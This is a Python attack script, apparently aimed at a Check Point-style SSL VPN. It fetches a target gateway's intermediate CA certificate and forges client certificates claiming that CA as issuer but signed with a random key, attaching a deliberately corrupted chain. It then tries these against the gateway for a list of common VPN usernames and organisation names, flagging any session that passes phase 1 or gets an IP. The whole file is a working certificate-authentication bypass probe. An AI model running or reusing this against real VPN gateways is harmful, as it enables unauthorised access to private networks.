import sys, datetime
sys.path.insert(0, "/root/recon")
import cp_oracle as co
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from cryptography.x509.name import _ASN1Type

ip = sys.argv[1]
ders, _ = co.get_ica(ip)
leaf_tls = x509.load_der_x509_certificate(ders[0])
ica = ders[1]
ica_cert = x509.load_der_x509_certificate(ica)


def make(user, org, ou="users"):
    class F:
        pass
    f = F()
    f.username = user
    f.signing_key = rsa.generate_private_key(65537, 2048)
    xkey = rsa.generate_private_key(65537, 3072)
    pr = lambda oid, v: x509.NameAttribute(oid, v, _type=_ASN1Type.PrintableString)
    issuer = ica_cert.subject
    subject = x509.Name([pr(NameOID.ORGANIZATION_NAME, org),
                         pr(NameOID.ORGANIZATIONAL_UNIT_NAME, ou),
                         pr(NameOID.COMMON_NAME, user)])
    now = datetime.datetime.now(datetime.timezone.utc)
    cert = (x509.CertificateBuilder().subject_name(subject).issuer_name(issuer)
            .public_key(f.signing_key.public_key()).serial_number(1001)
            .not_valid_before(now - datetime.timedelta(days=1))
            .not_valid_after(now + datetime.timedelta(days=365))
            .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=False)
            .add_extension(x509.KeyUsage(digital_signature=True, key_encipherment=True,
                                         content_commitment=False, data_encipherment=False,
                                         key_agreement=False, key_cert_sign=False, crl_sign=False,
                                         encipher_only=False, decipher_only=False), critical=False)
            .add_extension(x509.AuthorityKeyIdentifier.from_issuer_public_key(ica_cert.public_key()),
                           critical=False)
            .sign(xkey, hashes.SHA256()))
    f.leaf_der = cert.public_bytes(serialization.Encoding.DER)
    f.subject_dn = subject.public_bytes()
    bad = bytearray(ica)
    for k in range(4):
        bad[-(k + 1)] ^= 0xFF
    f.chain_ders = [bytes(bad)]
    return f


orgs = []
for a in leaf_tls.subject:
    if a.oid == NameOID.ORGANIZATION_NAME:
        orgs.append(a.value)
orgs += ["global"]
users = ["vpn", "vpnuser", "vpn-user", "vpn01", "test", "guest", "user", "sslvpn", "remote",
         "extranet", "admin", "mitac", "vpnclient", "user1", "vpn1"]
for org in orgs:
    for u in users:
        f = make(u, org)
        s = co.Session(ip, u)
        r = s.run(f, with_hash=False)
        s.close()
        txt = [n[2:] for n in r["notes"] if n.startswith("t:")]
        t = (" | ".join(txt))[:110]
        if "unknown" not in t or r["phase1"]:
            print("HIT?", org, u, r["phase1"], r["ip_assigned"], t, flush=True)
print("done", ip)
